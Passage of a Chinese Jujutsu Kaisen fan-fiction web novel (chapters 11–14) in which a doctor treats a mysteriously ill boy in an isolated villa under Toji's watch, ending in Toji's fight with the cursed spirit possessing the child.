“大概是觉得让诅咒师靠近他的宝贝儿子,亲手治疗,有风险吧。”孔时雨掏出打火机,把嘴上叼着的烟点燃,“而且确实也找不到比夏烧更好的医生了。” “治疗?又不是真的。”甚尔嗤笑一声。 “那个东西在那里,怎么不算呢?”这时他们也到了玄关,离开前孔时雨最后叮嘱甚尔,“你的任务就是盯着医生准时准点‘上班’,准时准点‘下班’,然后……” “然后找时机干掉那个咒灵。”甚尔不耐烦地挥手,“知道了知道了,快走吧。” 收拾完行李,晓才知道孔时雨已经走了。 他不是传话的?不留下来吗? “我都说了,这里只有我们俩。”甚尔见晓一脸吃惊,笑得更欢了,一副不怀好意的模样。 晓双手抱胸道:“还有楼顶的人呢。” 为了照顾小少爷,起码的起居肯定会有人在负责,别墅里不可能只有他们两个。 “有什么区别。”甚尔耸耸肩,“顶楼的那群人不会下来的。” “为什么?”晓疑惑。 甚尔咧嘴,“因为有鬼。” 晓:“……” 晓:“让一让,我要准备午餐。” 虽然不知道为什么治疗时间必须是中午十一点到十三点,但这个时间段恰好赶上了午餐时间,晓既不想刚来第一天还没了解情况就质疑客户,也不愿浪费简短的治疗时间,便只能提前或延后解决午餐问题。 所以整理好行李之后,她第一时间就来到了一楼的厨房,想要看看有什么可以准备的,正好就碰到了正在里头往冰箱里塞水果的甚尔。 冰箱恰好就在厨房入口处,甚尔人高马大地蹲在那里,便把厨房堵了个严实。 “请。”甚尔侧开身子,甚至做作地伸手做了个邀请的动作。 晓狐疑地看了眼甚尔,越过他走进厨房。 正如孔时雨所说,厨房里的东西还挺齐全的,将近一个卧室这么大的空间里,不仅有单独的冰窖存放蔬菜,还有各样的工具,晓甚至看到了烹饪蛋糕用的磨具和烤箱。 甚尔装完水果也不走,就这么双手抱胸靠在厨房门口,无聊地看着晓在里面晃来晃去。 直到晓摸清了整个厨房的构造,穿上围裙,回头问他,“你想要吃什么?” 甚尔:“……哈?” 晓莫名其妙,“不做饭,那我们吃什么?” 她自然而然地觉得厨房里被放了那么多的食材,又没有厨师在,肯定是要让他们自力更生的意思。 小的时候爸爸因为工作经常不在家,晓都是自己做饭的,因此这个时候颇有种得心应手的感觉。 甚尔也非常得心应手,他直接从柜子里翻出了一排泡面。 甚尔:“绝对够。我特地要求的。” 晓:“……” “这不健康。”作为医生的职业素养瞬间觉醒,晓眯了眯眼,似是觉得这样说还无法体现问题的严重性,她看着甚尔,自以为挑中了他的死穴,道:“不到一个星期,你的肌肉就没了。” 那么好看的肌肉,肯定是花了心思练出来的,而且牛郎什么的也有职业要求吧。 却没想甚尔依旧一脸无所谓,“啊,这个啊,不用管,没见它塌过。” 晓:?? 晓匪夷所思,“肌肉很容易就没的吧,说起来这里有健身房给你练吗?” “我从不练这东西。”甚尔看上去对这话题很抗拒和不耐烦,“怎么这东西还要练的吗?” 晓开始觉得甚尔有点难以沟通了。 是那种轮岗到精神科,我说铅笔他说虫的难以沟通。 于是晓没有理他,自顾自地从冰窖和冰箱里翻出食材,“那今天吃牛排吧。” 比较简单一点。 一听到牛排,甚尔瞬间精神了,“你会做饭?” 晓:“那你觉得我刚刚在干什么?” 甚尔想了想,“巡逻地盘。” 刚到一个陌生的地方,观察四周的环境,确认逃脱路线和有利地形之类的。 “……”不知这句话戳中了什么,晓憋了一会儿,还是忍不住,笑出了声。 她这一笑,空气中仿佛就有什么东西被打破了。 “你是野兽吗?”晓笑着斜睨了甚尔一眼,回身走到灶台前。 甚尔怔了一下,没说话,盯着晓看了好一会儿,才道:“你为什 11. “上班” 《天与暴君的妻子每天都在想什么》全本免费阅读 时间一到,甚尔就提醒晓该去“上班”了。 “别迟到。”他走在楼梯前头带头,漫不经心地对晓道。 晓背着医疗箱,抬头问道:“迟到了会发生什么?” 甚尔:“会被罚钱。” 晓:有,有道理。 沿着旋转楼梯往上爬,一直爬到最顶端,晓才发现原来顶楼是被完全密封的,楼梯终点处竖着个木门,两旁也不像其他楼层那样是敞开的栏杆,而是紧密贴合木板,像个被密封的笼子。 周围没有灯,因此越往顶楼靠近,眼前的环境就越昏暗,直到晓不得不扶着扶手,唯恐脚下踏空。 但前头的甚尔却好像一点不受影响,依旧健步如飞,转眼就到了门前,掏出钥匙,打开了门。 见门原本竟是锁的,晓心里更奇怪起来。 有必要这么防着吗? 说起来她只是来治病的,为何客户还要特地雇佣一个“保镖”呢? 甚尔身强力壮,他以做他人保镖为兼职,晓一点都不意外,只是这保镖是来“看着她”,而不是保护客户的,就有点稀奇了,而且这里荒郊野外的,也不知道害怕什么,难道是野兽? 当初院长也说过,对方是点名她过来的。 难道她很重要? 这么想着,通往顶楼的门已经开启,此时是正午,外头烈阳当照,刺目的阳光挤开门扉,一点点刺穿楼道里的黑暗。 整个顶楼简直可以称得上亮堂通透。 目光所及到处都是透明的玻璃窗,走廊上一个窗帘都没有,所有窗户间隔极短,就连天花板上都开凿出了几个玻璃窗口,与阁楼的窗户直通,好像要竭尽所能地捕捉阳光一样。 在这样充足的光线之下,连人的眼睛都似乎要被灼伤了。 快走到目的地时,晓才看见其他人影。 “到了。”甚尔双手插兜,驻足侧过身子,用手肘示意了一下前方的房间,而那房间外头站着一排侍女,全都低垂着眼,仿佛没看到他们一样,似乎也不想搭话。 晓觉得现在这个场景透露着一股说不清道不明的诡异,但最终她还是什么都没说,强装镇定地独自推开了房门。 房间里头倒是看上去只是一间普通的卧室,只不过床换成了医院里的看护床,而这里面也跟外头一样,敞亮得不像话。 一名圆润可爱的五岁小男孩正怯生生地坐在床上,小手紧紧抓着面前的床单,一脸紧张地看着她缓缓踏进房间。 而在晓看不见的背后,甚尔也悄然跟紧,站在房间边缘,目光紧盯着晓的背影,一副蓄势待发的模样。 晓无知无觉地抬脚踏入房间。 什么都没有发生。 小男孩顿时松了口气,甚尔眼睛往里头瞥了一眼,扭头向走廊窗边走去。 晓见男孩身形瘦小,小小一个乖巧地靠在床头,不由地心生怜爱,走上前去将医疗箱放到一边,坐到床边的椅子上。 “是匠海君吧?你好。”她放柔声音,搭话道,“你一个人吗?爸爸妈妈呢?” 怎么这层楼里只看见侍女? 小男孩摇摇头,“爸爸妈妈不能来。” 晓感到奇怪,正打算追问的时候,门口的一名侍女却出声了。 “请快点治疗吧,夏烧医生。” 晓听出来对方是让自己不要多问的意思,便只好从医疗箱里掏出听诊器,又把之前院长给他的病历拿了出来,先简单为男孩做了检查。 她仔细听了听心音,比对着病历和之前早就记在脑海里的体检报告,很快就了解了情况。 她从旁另外掏出一个本子来,写了一会儿,“匠海君之前也有医生来给你看病吗?” “有的。”匠海乖乖点头,但却话不多。 晓点点头,笔下不停,“最近有哪里不舒服吗?” 匠海指了指腿上的几个地方。 晓皱了皱眉头,心想之前的药方怎么看上去有些过猛了。 于是她又重新写了个药方,交给门外的侍女,然后又回到了病床边。 匠海看到晓转身又回来了,竟然愣了一下,“你不走吗?” 晓心里本想着治疗时间有限,再仔细检查一些,此时见匠海眉眼间露出欢喜的神情,心中一软,便说道,“不走,再陪陪你吧。” 小孩儿似乎许久没有与人交往过了,听到晓要留下来陪自己,马上就高兴了起来,略显苍白的脸上也终于带上了几分孩童的天真。 晓便一边检查,一边与匠海聊了起来。 正如临走前院长所说,匠海身上的病并不是什么疑难杂症,刚拿到病人的口述报告时,她还以为是有腿部肿瘤,但CT没有照出任何异样,她亲自上手确认也没有感觉到皮下有瘤块,便排除了这个可能,肯定了病历上的诊断。 只是这个病恢复周期比较长,需要小心治疗,吃吃药打打针是免不了的了。 听到要吃药打针,匠海顿时露出抗拒的表情,但他不敢拒绝,抬头看了看晓,什么都没说。 见他这幅懂事的模样,晓有点心疼,“别怕很快就会好了。” 但匠海却只低着头,喃喃嘀咕道:“你们都这么说……” 足足待够了两个小时,晓才被甚尔催促着离开了顶楼。 眼见着楼梯顶端的门被关上,四周又昏暗了下来,晓沿着旋转楼梯往下走,一边还在想着匠海的病情。 奇怪,没有诊断错误,药方也没什么大问题,病人目前看上去也很正常,怎么会这么久还没好呢? 她突然想起今早她刚来的时候,甚尔说,他们会在这里待一个月。 一个月,为什么是一个月? 这么想着,晓便问出了口。 彼时两人已经来到了二楼,甚尔似乎正打算出门,晓则想要回去房间歇息,便在楼梯口准备分道扬镳。 听到晓的问题,甚尔漫不经心地抬眼想了想。 “因为‘它’很快就会没有耐心。” 晓以为他说的是匠海的父母,也就是雇佣她的客户,心想这么简单的病却一直治不好,作为双亲心里着急想要换一个医生试试也无可厚非,便也就没再多想。 这么一说,对方会请她来治病可能也是有点病急乱投医了吧。 自己把自己说服了的晓转身准备回房间,甚尔却又在这时叫了她一声。 “喂,晚上记得做多点吃的,太少了不够塞牙缝。” 晓下意识地应了一下,又觉得哪里不对劲。 “不是应该轮流吗?”她回头,“晚饭应该到你做了吧。” 甚尔:“可以。但我只会泡面。” 晓无语:“如果饭都是我做了,那你做什么?” 甚尔:“当然是看着你了。” 晓被甚尔的无赖打败了。 接下来的日子里,一切都很平常,每到中午时分,她就会跟在甚尔的身后到顶楼去为匠海检查身体,调整治疗方案,然后留下来陪他聊聊天。 别墅里的日子并没有什么乐趣,匠海独自一人住在顶楼,亲人不在身边,又因为疾病行动不便,每每见到晓留下来陪伴自己,都很欢喜。 晓一见这么个半大的孩子,却听话乖巧,面对那双殷切的双眼,根本就不忍拒绝,渐渐地也就成为了习惯,跟他说说一些外头的趣事或者最近流行的动漫,时间倒也过得很快。 而每当这时,甚尔就会抱胸站在门外,也不进来,就这么看着房内的场景,也不知道在想什么,偶尔还会讽刺晓几句,说她闲得慌,一 12. 眼睛的颜色 《天与暴君的妻子每天都在想什么》全本免费阅读 晓发现甚尔不是不会赞美他人,只是就算是赞美,语气听上去也无端带着讥讽,让人听着就觉得被针对了。 在又一次获得了“没想到能吃”的厨艺肯定之后,晓沉思片刻。 “你这样真的能招揽客户吗?” 她指的自然是牛郎的客户。 莫不是在他身边待着,只会听一耳朵嘲讽吧。 不过转念一想,她又回忆起了那日他坐在她身边时娴熟的调情技巧,觉得他想要哄女人开心的时候应该还是很会的。 如果没成,那大概是他不想。 对此甚尔冷哼一声,三下二除五就把面前的烤肉吃了个精光。 “谁知道,搞不懂那些女人怎么想的。” 「能看上我这种烂人,眼光差成这样,不是蠢是什么?」 晓手下一顿,“你怎么会想到要去做牛郎的?” 闻言,甚尔又露出了他那个标志性的一看就不友好的讥讽微笑。 “怎么?对我很好奇吗?” 也不知道为什么,这人就是喜欢拿她喜欢过他的这件事调侃,搞得晓都快脱敏了。 “是啊。”晓干脆承认了,夹了块烤肉放进嘴里。 甚尔却反而怔了一下。 “……顺路。”顿了一下,甚尔才道,“有酒有钱,没什么不好。” 晓没在意他那句“顺路”是什么意思,“原来你喜欢喝酒啊。” 怪不得当时那一瓶酒喝得那么快,酒量还好。 说完她随口补充道:“酒喝多了对身体不好。” 但甚尔却反而否定道:“不,喝酒还是很烦的。” “那你还喝?”晓越来越搞不懂了。 “牛郎店里的酒可不是酒。”甚尔得意地勾了勾嘴角,“那是功绩。” 晓:“……” 甚尔:“女人懂什么。” 晓皱了皱眉头,有点不服气,“功绩可不是论酒算的。” “我知道。你是个有名的医生。”甚尔不以为意地笑道,那笑容里还是带着一丝抹不掉的讥讽,仿佛已经烙印太深,刻进了他的皮肉里,“但这里你可没啥用了。” 这就是在质疑她的专业水准了——晓自从能够独立主刀以来,还从没听过谁这么明目张胆地看不起她的医术。 就算是年长的导师们,都对她称赞有加。 “我会把匠海君治好的。”晓抬眼瞥了甚尔一眼,将面前的最后一块烤肉夹走,语气平淡而坚定。 多说无益,事实自会证明。 甚尔显然并没有对此放心上,模棱两可道:“没死就成。” “……你就不能说个好话吗?” 甚尔惊奇,“我刚刚说的难道还不是好话吗?” 晓死鱼眼托腮。 又来了,那种我说铅笔你说虫的感觉。 但两个星期过去了,匠海的病也没有任何变化。 既没有变好,也没有变坏。 晓不断翻看着之前的治疗记录,这里面不仅有她的记载,还有前几次的医生留下来的笔记。 虽然药方内容和剂量略有偏差,但是所有医生对匠海的诊断都是一致的。 难道是剂量不够?晓沉思。 于是到了第二天,她尝试加大了剂量。 “试着下床走走?”她劝道,“我扶着你。” 但匠海却摇头宛如拨浪鼓,“不行不行,我……我,疼。”圆润的双眼里满是惊慌与害怕。 之前晓也曾劝说过匠海到外头走走,但每当到这个时候,乖巧听话的匠海却怎么都不愿意,只说怕疼,门外的侍女也总是顺着他,让晓不要强迫小少爷。 晓只觉得这是家里人溺爱,可为了治好疾病,哪有事事由着病人的道理? “那不然我让禅院抱你起来?”晓力气不够,但外头正好有个人高马大的呢,“没事,不会疼的。” 匠海的病根在腿部,总是这么躺着,肌肉机能也会退化的,就算是借助外力,浅浅走一下也比一直不动好。 但匠海却依旧摇头,眼眶里渐渐溢出朵朵泪花,“不了不了……不要,医生姐姐,求你了……” 好像看见了洪水猛兽一样。 孩子脸上的表情惊惧异常,晓心中一紧,正要说什么,这时身后突然一条手臂伸了过来,一把抓住了她的手腕。 那手掌宽大,如果用来打篮球一定是一把握球好手,此时擒住晓纤细的手腕,就像是黑熊捻着一束花。 晓猛然回头,就见甚尔不知道什么时候来到了自己身后,正低头沉沉地望着她。 匠海顿时大惊失色,连眼泪都快被吓了回去,大叫道:“你不能进来!” “啧。”甚尔不耐烦地瞥了一眼匠海,“所以说小屁孩真麻烦。” 说完,他顺势就将晓从椅子上拽了起来,直往门外走。 房间外,往常冷淡的侍女们此时竟都惊慌失措地围在门口,眼睁睁地看着甚尔将晓带离了顶楼,才连忙将房间门关上,战战兢兢地不敢多说一句。 “放开我!”被甚尔拽着,晓连医疗箱都没拿,跌跌撞撞地勉强才跟上他的步伐,“治疗时间还没结束呢!” “结束了。”甚尔冷声道。 一直到走到二楼,甚尔才放开她。 晓当即甩开甚尔的手,忍痛揉了揉自己的手腕,“你突然这是做什么呢?!” “你做了无关的事情。”甚尔回头,说完后一顿,不动声色地瞥了一眼晓发红的手腕。 “怎么无关了?”莫名其妙被粗鲁对待了一番,晓很气愤,“我这是在进行正常的疗养流程。” “别打让那小子移动的主意。”甚尔面色冷硬,“乖乖地打你的针,涂你的药,别想着别的事情。” 晓闻言心里更觉怪异,眉头一蹙,压着火道:“为什么?让匠海君移动有什么问题吗?” 太奇怪了,这真的太奇怪了。 卧床生病却没有一个亲人来探望的男孩儿,从不下楼的侍女们,规定严苛的治疗时间,不见好转的病情……现在连让孩子下床走走都不可以了。 “这里面到底有什么隐情?”晓直直望向甚尔的眼底,想讨要个说法。 很明显,面前这人肯定知道些什么。 甚尔却面露不耐,“你是不是很喜欢多管闲事?” “我多管闲事?”晓难以置信地瞪大眼睛,仿佛甚尔说了什么令人震惊的事情,“你觉得我这样就叫做多管闲事了吗?” “难道不是吗?”甚尔眼眸中亮起夺目的光亮,“你就只是个医生,干好你医生的活儿,时间到了就拿钱走人,那病治不治好你钱也不会少一分,守好你的本分!” 当最后一句话喝出的时候,甚尔却突然面色一僵,眼眸中慑人的光亮在刹那间消失得无影无踪,宛如沉入墨汁的烈火,悄然熄灭,又淹没在冰冷的黑暗中。 听了甚尔的话,晓却反而冷静了下来。 “禅院,那只是个孩子。”她抬眼看了一眼甚尔,低头从他身边走了过去,“救死扶伤就是我的本分。” 最后那句话,声音轻得仿佛空气中的羽绒,语气却如磐石般坚定,随着响起的关门声,消失在沉默者的耳边。 就在这时,窗外的天空忽然响起一片雷鸣,大片的乌云从远方疾驰而来,转眼间就将春日的阳光尽数劫持,很快,又是一声轰隆,震耳欲聋的沙沙声顿时响起。 下雨了。 当孔时雨冒着大雨冲进别墅的时候,就看见甚尔一个人默默地站在客厅的落地窗旁,望着外头的雨幕,不知道在想些什么。 “怎么?别告诉我你对着大雨多愁善感起来。”孔时雨甩甩外套上的雨珠,把雨伞放到一边,在玄关处换上室内鞋,“情况怎么样了?” “不怎么样。”甚尔背对着他,看不见神情,“这雨不平常。” 孔时雨一愣,“这只还能操纵气象不成?” 没这么强吧。 甚尔回头看了他一眼,没说什么,转身往厨房走去。 孔时雨不明所以,只好跟上。 “你这次比我想象中的要慢了不少。”孔时雨说道,“区区二级是哪儿拖住了我们的天与暴君啊?” 说到最后,话里已经带上了一丝调侃的意味。 甚尔听出了孔时雨在揶揄自己,要是平常他一定会回敬回去,但现在他没这个心情。 “情况大概摸清楚了, 13. 钥匙 《天与暴君的妻子每天都在想什么》全本免费阅读 这场大雨来得气势汹汹,到了第二天中午才勉强剩下淅淅沥沥的雨点,天空依旧乌云密布,不见阳光。 “今天不去了?” “为什么?”晓皱眉不解。 甚尔指了指天,“天气不好。” 理由莫名其妙,但没有顶楼的钥匙,晓也只能听从甚尔的安排。 这么些天她也明白了,这一件件奇怪的事情,问甚尔,他也只会顾左右而言他,不会给她答案,想要搞明白所有疑点,还需要她自己行动。 她怀疑匠海的病,问题并不在医疗方面。 明明是个小到无论哪家医院都能够解决的小病症,甚至可以说是软组织损伤这样的小问题,却偏偏在这样远离人烟的地方休养,不可移动,甚至治了那么久都没有好转…… 前几天她跟甚尔说,她怀疑有人并不想让匠海的病治好。 现在她觉得这个可能性越来越大了。 不是医疗问题,那么就是有人对她的治疗手段动了手脚。 自从第一次诊断之后,晓就给匠海开了一份药,大多是外伤涂抹药,还有一份口服药,都是需要每天坚持使用的。 要是有人要动手脚的话,这是最容易接触的地方。 而最有嫌疑的,就是日日跟在匠海身边,平时她又无法接触的侍女们。 但是为什么?为什么她们不想让匠海的病好起来呢?匠海的父母知道这件事吗? 思来想去,晓拿起手机,拨通了院长办公室的电话。 “喂,你好,请问是院长吗?我是夏烧。” “啊,夏烧啊,怎么了?是遇到什么困难了吗?” “没什么困难,只是我现在在这里只看到病患孩子,没看到他父母。”晓语气为难,“我在这里已经待了两个星期了,所以我想我是不是应该跟孩子的监护人直接报告一下进展。院长那边有他们的电话吗?” “孩子的父母不在?”院长也很惊讶,“你等一下,我找找。” 接着电话里就传来了一阵纸张摩擦的声音,应该是院长正在寻找相关文件。 趁着这个间隙,晓若无其事地问道:“孩子父母当初跟院长联系时说了什么吗?是不是工作太忙了啊。” 这种有钱人家的事情,她想来想去也不过就那几个原因。 总不可能是父母不想着孩子好吧? 这个想法一出现在脑海中,晓身体一震。 恰在这时,院长回话道:“联系我的应该是孩子的继母,听上去对孩子的病还是挺着急的。唉,那孩子也不容易,小的时候需要母亲的时候,生母病重,好不容易长大了母亲又过世了,夏烧你可得好好帮他治啊……” “当然。”晓愣愣地应道。 该不会是碰上恶毒后妈只手遮天了吧?! “啊,找到了,但这个应该只是她秘书的联系方式,我待会儿发给你。” 拿到了联系方式后,晓当即拨打电话。 “您拨打的电话暂时……” 再来一次。 “您拨打的电话暂时……” 半个小时后再来一次。 “您拨打的……” 好,这情况她熟。 晓盖上手机,神情不明。 她被拉黑了。 这个时候,她突然想起了甚尔的那位“哥哥”,他自称是雇主的传话人,但是如今想起来,为什么需要特地一名传话人,而不是直接联系她或者甚尔呢? 问题越来越多,但匠海继母特地拉黑她号码的行为,太过于显眼了。 眼下这个情况,晓的第一个反应是找甚尔。 她想甚尔应该也是不知道内情的,要是能有他的钥匙,平时不在中午的时候也可以偷偷上楼去,打她们个措手不及。 这么想着,她当即推开房门走了出去。 「……那病治不治好你钱也不会少一分,守好你的本分!」 走廊上急促的脚步声渐停。 晓抬头望向窗外的天空。 小雨连绵不绝,后院的草坪刚被修剪了一番,放眼望去嫩绿整洁,不远处的森林依旧高大阴森,落在草坪背后,仿佛一张深渊大口,要将新生的春意绞杀。 虽然昨天他们算是互相缓和的气氛,但是实际上,两人之间最重要的争执点并没有和解。 也许是第一印象使然,晓内心深处总觉得甚尔不是个无情的人,虽然他人高马大,还总是喜欢摆出一副自己是恶魔的模样,但这些日子里的相处,晓觉得他其实并没有自己表现出来的那么冷漠。 就像昨天她突然之间被他拽走,还被呵斥了一番,可晓却没有从甚尔的神情中察觉到怨怼,更多的是一种恨铁不成钢的关照。 这么想着,昨天发生的事情又重新回到了晓的脑海中。 为什么甚尔那个时候要这么着急地把她拉走? 她感觉好像并不只是单纯的因为她想要劝说匠海下床,如果只是想要阻止她,说一声不就可以了? 那种感觉,更像是当时被什么东西吓到了…… 难道匠海的房间里有他继母的监控? 这么想着,晓已经不知不觉来到了一楼大厅。 大厅里,甚尔正面对着她坐在沙发上,他右手搁着沙发背,左脚懒懒散散地搭在右腿上,侧头看着电视,神情隐晦不明,不知道在想什么,左手还握着一把纤细的匕首,漫不经心地把玩着。 匕首锋利,被天花板的水晶灯一照,反射出刺眼的光芒,而那尖薄的刀锋就这么在甚尔的皮肉之间来回晃荡,堪堪滑过割裂肌肤的底线。 晓顿时吓得不轻,“你在做什么?!” “嗯?”晓的一声大喊瞬间让甚尔回过了神,他回头,一脸懵逼,“什么?” 话音刚落,晓已经小跑到了甚尔面前。 “快把刀放下!” “啊?”甚尔眨了眨眼,明白了过来,然后立马把手上的匕首举高。 “干什么啊?想要空手夺白刃吗?”甚尔低头看着晓一脸惊恐的样子,似乎是觉得好玩,还特地捏着匕首尖晃了晃,咧嘴笑道,“哦吼,你要来试试吗?还没人能从我手下夺刀呢。” “危险啊!”晓瞪大了眼睛,唯恐看到那刀刃割开皮肉,鲜血横流,不知不觉间脚下又往前走了一步,“你又不是小孩了,怎么可以拿这么危险的东西来玩啊?” “你也知道我不是小孩,怎么就不能玩了?”甚尔故意逗她,“这不刚刚好?” 说完他还特意让匕首在自己指尖转了一圈,直把晓看得心惊胆战。 “快放下!甩出去怎么办!” “不会甩出去的。”甚尔气定神闲,甚至单手托腮,稍有兴致地笑看着晓,仿佛找到了什么特别好玩的游戏,“想要来抢啊。” 晓想上手抓又不敢,“快放下!会受伤的!” 欣赏了一会儿晓着急的样子,甚尔才放过她,“行了,就这点小刀,伤不了我。” 但晓却会错了意,“小伤口也不能大意,我这里可没有准备破伤风!” 说着她抬手,甚尔便也没再跟她争,手上一转就把匕首的手柄递到了她手边。 就在这时,玄关处传来开门声。 两人同时扭头向门口看去。 “禅院,这回带的足够了吧。真是的,真会使唤人……” 声音戛然而止。 又再次冒 14.赌局 《天与暴君的妻子每天都在想什么》全本免费阅读 对于倒霉这件事,甚尔早就已经习以为常了。 他的一生都在倒霉,倒霉地出生在世家名门却被耻笑抛弃,倒霉地天生无咒却依旧被诅咒环绕,倒霉地厌烦这个世界却连酒都无法带他逃离…… 现在,他又倒霉地输了一场赌博。 别墅顶楼的走廊上,侍女们的尖叫声刺破天空,匠海的房间门口此时已被炸开了一个大洞,整层楼烟雾弥漫,甚尔缓步其中,仿佛只是不小心迷路于此的路人,毫不相干地漠然路过。 在他的眼里,世界已在刹那间陷入了昏暗,夕阳的霞光被隔绝在黑蒙蒙的天幕之外,那是爆裂开的诅咒,是世间负能量的集合。 ——顶楼的钥匙不只有一把,可惜他还没来得及把牢笼做完,猎物就迫不及待地跳了出来。 “呵,这么急着送死啊。”甚尔懒散地笑了笑,忽然作呕吐状,从嘴里吐出了一颗紫色的肉球。 肉球落在他的手上,迅速膨胀成一只肥硕的虫子,虫子外貌丑陋,仰头看了眼甚尔,便顺着他的手臂爬上他的肩膀,盘了起来。 有侍女从他身边飞奔而过,他双手插兜,不忘提醒,“走之前把门锁了。” 侍女们忙着逃命,但好在之前对此早有预案,一个个排着队从楼梯口的木门逃出,并顺势带上门,狠狠上了锁。 随着锁扣合闭,门扉表面的奇异花纹连成一片,仿佛被抛光的铁片,闪过一层光亮。 这几天孔时雨的往来都是为了这一层禁锢的咒文,只是没想到他们已经如此小心地运送材料,却还是被这只休眠的咒灵发现了去。 不过无所谓,画了一半也有画了一半的用处,虽然并没有将整层楼都包裹,但至少他无需担心门口的方向了。 甚尔抬手,肩膀上的蚕虫会意张嘴,竟是吐出了一把长长的大刀。 握着大刀甩了甩,甚尔一矮身,下一秒已经消失在了原地。 空气中,铁器相撞的铿锵声,嚓嚓响起。 【我的孩子——!】 不似人声的嚎叫声如海浪般涌入人的耳畔,仿佛连人的口鼻都堵了去,带来一股窒息感。 【不可以离开我——!】 下一秒,一声巨响,甚尔猛地从房间门口倒飞而出,他反应极快,迅速掌控了身体,在半空中灵活地翻转一周,同时伸出大刀重重地扎入墙壁,竟是就这么半跪在了墙壁上。 这并不是个容易的姿势,支力点只有扎入墙壁的大刀,但整个人却要保持与地面平行,需要的肌肉力量相当惊人。 但也因此,眼前的视野才能更加开阔。 甚尔抬头,目光穿过层层尘埃,望向里头扭动的黑影。 那黑影宛如八头大蛇,在半空中肆虐挥舞,但很快就又渐渐平静,逐渐收缩,最后汇聚成一个五岁小男孩的身姿。 匠海跌跌撞撞地拄着门框,缓缓抬头,一双眼睛早已宛如野兽般猩红。 【不可以去那里——】小嘴微微张开,发出刺耳的尖叫,【还给我——】 甚尔瞥了眼匠海的大腿,那里不知何时已经多出了一个巨大的肿瘤,体积几乎有一个篮球那么大,挂在小孩儿纤细的腿上,宛如桎梏囚徒的枷锁铁球。 “强行受肉了吗……”甚尔呵了一声,讽刺道,“真是可怕的母爱。” 多重束缚的累积,终于还是让咒灵强行冲破了二级的壁垒,一越成为一级咒灵,甚至隐隐靠近了特级的门槛。 但这依旧不能让受肉一举成功。 即使它的诅咒,就在匠海身上,即使他们之间,有着血缘的羁绊。 因生育而带来的苦难,在母亲死去后终于化成了扭曲的诅咒,它既爱着这个孩子,又恨着这个孩子,那些看着自己的身躯日渐死去,却又要祝福新生快乐的日子,让它的仇恨与求生欲生长,形式婚姻下的结晶,终究还是比不过自私的人性。 凭什么! 不过是一块儿血肉,凭什么带走我的未来! 回来! 匠海仰头,发出一声宛如野兽般的嚎叫,像是在宣泄,又像是在挣扎。 “本来以为你在这小子生日的时候还会再压一压,看来还是太急了。”甚尔回手再次从蚕宝宝嘴里掏出一柄造型奇特的长剑。 “已经死了的人,就别来碍事了!” 话音刚落,一阵飓风划过,甚尔的身影再次消失在了原地,与此同时,咒灵控制着匠海的身体抬起双手,汹涌的咒力向四周铺散开来,带起条条锐利的罡风。 罡风削铁如泥,整个别墅顶楼瞬间成为了风暴的中心,所有被卷入其中的东西,都被无情地绞杀。 唯有画着咒文的墙面被另一股光芒保护,毫无损伤。 风暴间,肉眼已经捕捉不到甚尔的身影,他的速度快得可怕,已然超过人类的极限,轻而易举地躲过肆虐的风暴,转眼就来到了咒灵身边。 咒灵抬头,猩红而又稚嫩的双眼不敢置信地瞪大。 甚尔抬起一刀一剑,眼神一凝,手腕往一旁偏离几分,然后毫不犹豫地当堂劈下。 只听“咚”的一声巨响,甚尔的刀剑被一个突然冒出的屏障阻挡,他顿时挑了挑眉,转眼就看见咒灵被弹开后,扭头朝着远离他的方向跑了过去,却又在靠近楼梯口时,被上面的咒文烫出尖叫。 “还想跑?”甚尔扛着刀缓缓走上前——他自然是故意将咒灵往这个方向驱赶的,“我花了那么长时间才把你逼出来,你以为我还会让你逃走吗?” 也不知是不是因为一直依附在人类周围的缘故,这只咒灵的心智并不如其他同级咒灵那般稚嫩,不仅会利用束缚增强自己,在藏匿上更是颇有天赋。 要不是甚尔前几天在草坪上摁住了这只咒灵的触角,估计也不会这么顺利地就引蛇出洞。 但是……甚尔皱眉。 咒灵受肉……一只二级咒灵,连基本的语言沟通都难以做到,是如何会知道这种“重生”之道? 他只听说过有人曾用过咒灵与人类做实验,却从不知道有咒灵主动去实施受肉的。 这简直就像野兽会开车一样惊悚。 不管怎么说,现在情况变得麻烦起来了。 他最初收到的委托任务只是杀死咒灵,但他相信,若他不把这小孩儿全须全尾地送回去,之后不仅拿不到委托尾款,还会惹得一身骚。 被雇主盯上也就罢了,还有损他圈里的声誉。 似乎是知道甚尔投鼠忌器,那咒灵见此路不通,竟大吼一声,背后伸出数十个触手,遮挡住甚尔的视线,随即操纵着匠海的身体,直直朝着甚尔冲去! 狂躁的咒力击打在画有咒文的玻璃窗户上,发出摇摇欲坠的声音。 甚尔收起长剑,用大刀砍落触手,抵挡罡风,身形在咒力掀起的风暴中屹然不动,直到匠海的身体渐渐靠近,他才不得不退后,唯恐不小心把这小少爷也纳入攻击范围。 咒灵咄咄逼人,甚尔节节后退,不知不觉就跨过了咒文覆盖的边界,风暴卷过墙壁,炸出几条深深的裂纹。 而此时,外头的夕阳已经完全落下,咒灵的咒力顿时又强盛了几分,更加猛烈的罡风击打在甚尔的刀刃上,震得它嗡嗡作响。 甚尔当即停下脚步。 再往后退,咒灵的力量就会泄露出这层楼,到时整栋别墅都会坍塌。 他不会有事,就是咒灵得跑,有人会受伤。 那女人最好跑了。甚尔嘁了一声。 只能想办法先把这只咒灵封印了。 再不行…… 那就只能杀了! 灰蓝色的眼眸中,杀意顿起! 就在这时,一声机括声响起,走廊对面的楼梯门,竟在这时缓缓打开了。 “禅院!匠海君!”晓推开门,眼见着楼顶一片狼籍,大吃一惊,“禅院!匠海君!你们没事吧!” 甚尔身形一顿,眼中的杀气顿时如同清晨的浓雾,随着初生的太阳,消失得一干二净。 她怎么又回来了!甚尔烦死了。 然而出乎他意料的是,当晓踏入顶楼的那一刻起,那咒灵竟是发出一声惊呼,整只咒灵瞬间缩回了匠海的身体里,连猩红的眼睛都重新变回了清澈。 匠海眨了眨眼,下一秒,整个人顿时向后倒去。 “匠海君!”晓当即扑上前去,将匠海接住。 迎面的压力骤然消失,甚尔身形一晃,重新站稳。 是束缚。 生命只被困在病房方寸之间的人,能寄托的希望屈指可数,从他们身上诞生的咒灵,即使是立下束缚,都偏要在这场“大戏”中留个位置给医生。 仿佛阴阳八卦中唯一的生门。 ——当医生在场时,咒灵的力量将会被压制,每日一次。 好像想要尽力维持某种向往生的平和,又好像是在证明自己的存在仍被人牵挂。 而今天正好,是晓第一次上顶楼。 “匠海君!匠海君!”晓焦急地呼唤匠海,随即抬头一瞥,发现了匠海大腿上的巨大肿瘤,“怎么回事?!” 